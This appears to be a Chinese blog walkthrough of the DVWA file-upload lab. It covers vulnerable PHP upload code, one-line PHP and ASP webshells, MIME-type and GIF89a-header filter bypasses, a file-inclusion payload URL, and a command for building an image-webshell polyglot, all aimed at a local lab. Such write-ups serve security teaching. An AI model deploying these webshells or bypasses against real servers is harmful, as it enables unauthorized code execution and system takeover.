♥文件上传漏洞的简介

文件上传漏洞也就是通web网页的文件上传功能去上传一些恶意的文件,比如包含病毒、木马文件、钓鱼图片或者是包含脚本的图片,webshell等。

这个功能本身没有问题,是对上传文件的过滤不够安全,被攻击者加以利用。

♥文件上传漏洞的危害

上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者上传的文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。如果上传的文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为。通过这个漏洞常常用来上传webshell,进行系统提权。

♥Low

我们先看一下源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

没有对上传文件作任何过滤,我们可以直接上传木马。

php的常用一句话木马 <?php @eval($_POST['pass']);?>

asp的常用一句话木马<%eval request("pass")%>

我们写好一句话木马,然后直接上传

DVWA--File Upload-LMLPHP

 DVWA--File Upload-LMLPHP

 我们访问一下上传文件的路径,这里我一直访问失败这个路径

http://192.168.204.129/dvwa/hackable/uploads/yma.php

搞了半天,后面发现是以为我上传文件命名的时候前面多打了个空格,注意看上传成功给出的路径有空格,被搞了。

DVWA--File Upload-LMLPHP

上传成功,这里就可以用菜刀连上了。

♥Medium

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

这里对我们上传文件类型做了过滤,只可以是jpg、png的,这样我们直接上传php后缀的文件就不行了。

我们用burp抓包来看看,上传一个正常jpg图片,可以看到提交文件类型Type是jpg

DVWA--File Upload-LMLPHP

然后我们forward放包看看,ok上传成功

DVWA--File Upload-LMLPHP

再来上传我们的木马,抓包,可以看到Type,我们改成jpg的

DVWA--File Upload-LMLPHP

DVWA--File Upload-LMLPHP

可以看到,上传成功。

 DVWA--File Upload-LMLPHP

♥High

先来看一下源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

 这里面多了很多函数,先看一下这些函数

strtolower()函数,把里面的字符串转换成小写

strrpos()函数查找 "php" 在字符串中最后一次出现的位置:

<?php

echo strrpos("You love php, I love php too!","php");

?>

substr(string,start,length) 

string必需。规定要返回其中一部分的字符串。

start必需。规定在字符串的何处开始。

正数 - 在字符串的指定位置开始

负数 - 在从字符串结尾的指定位置开始

0 - 在字符串中的第一个字符处开始

length可选。规定要返回的字符串长度。默认是直到字符串的结尾。

正数 - 从 start 参数所在的位置返回

负数 - 从字符串末端返回

$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);

 也就是说这句代码的意思就是,先用strrpos把“.”+1位置也就是文件名后缀部分返回回来,然后再用substr截取到后缀。

 

 
PHP编程语言中的常见的$_FILES系统函数用法有$_FILES['myFile']['name'] 显示客户端文件的原名称。
$_FILES['myFile']['type'] 文件的 MIME 类型,例如"image/gif"$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name'] 储存的临时文件名,一般是系统默认。
$_FILES['myFile']['error'] 该文件上传相关的错误代码。以下为不同代码代表的意思:
HP 获取图像信息 getimagesize 函数

    getimagesize() 函数用于获取图像尺寸,类型等信息。
    imagesx() 函数用于获取图像的宽度。
    imagesy() 函数用于获取图像的高度。

getimagesize()

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

语法:

array getimagesize( string filename )

例子:

<?php
$array = getimagesize("images/flower_1.jpg");
print_r($array);
?>

浏览器显示如下:

Array
(
    [0] => 350
    [1] => 318
    [2] => 2
    [3] => width="350" height="318"
    [bits] => 8
    [channels] => 3
    [mime] => image/jpeg
)

经过了上面的分析,下面这代码的意思就是先把文件后缀转化成小写然后判断文件是不是jpg、jpeg或者png并且用getimagesize()来获取我们上传文件的图像信息,如果我们需要成功上传就要文件类型是前两种,并且getimagesize()函数不能返回错误

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) )

那么就是对getmagesize()函数的绕过,我们在伪造头部GIF89a,来绕过

DVWA--File Upload-LMLPHP

改为jpg后缀,上传成功!

DVWA--File Upload-LMLPHP

但是呢,这里是jpg的文件,菜刀不能直接使用,怎么办呢?

这里就要配合文件包含漏洞的使用了,这里high级别的文件包含是用file:///白名单访问的,我们知道文件的绝对路径,

就可以构造payload了:

http://192.168.204.129/dvwa/vulnerabilities/fi/?page=file:///C:\phpstudy\WWW\dvwa\hackable\uploads\yma.jpg

DVWA--File Upload-LMLPHP

 我们用菜刀连接试试呢,发现失败了

可以访问到这个文件,但是菜刀连不上。

如果用cmd 来构造的图片木马呢 copy 1.jpg/b+yma.php/a yma1.jpg

DVWA--File Upload-LMLPHP

 然后再用菜刀连接,但是我这里连接出问题了,搞了好久 不知道是什么原因 !!!!!有点难受~~~ T_T

DVWA--File Upload-LMLPHP

05-15 18:16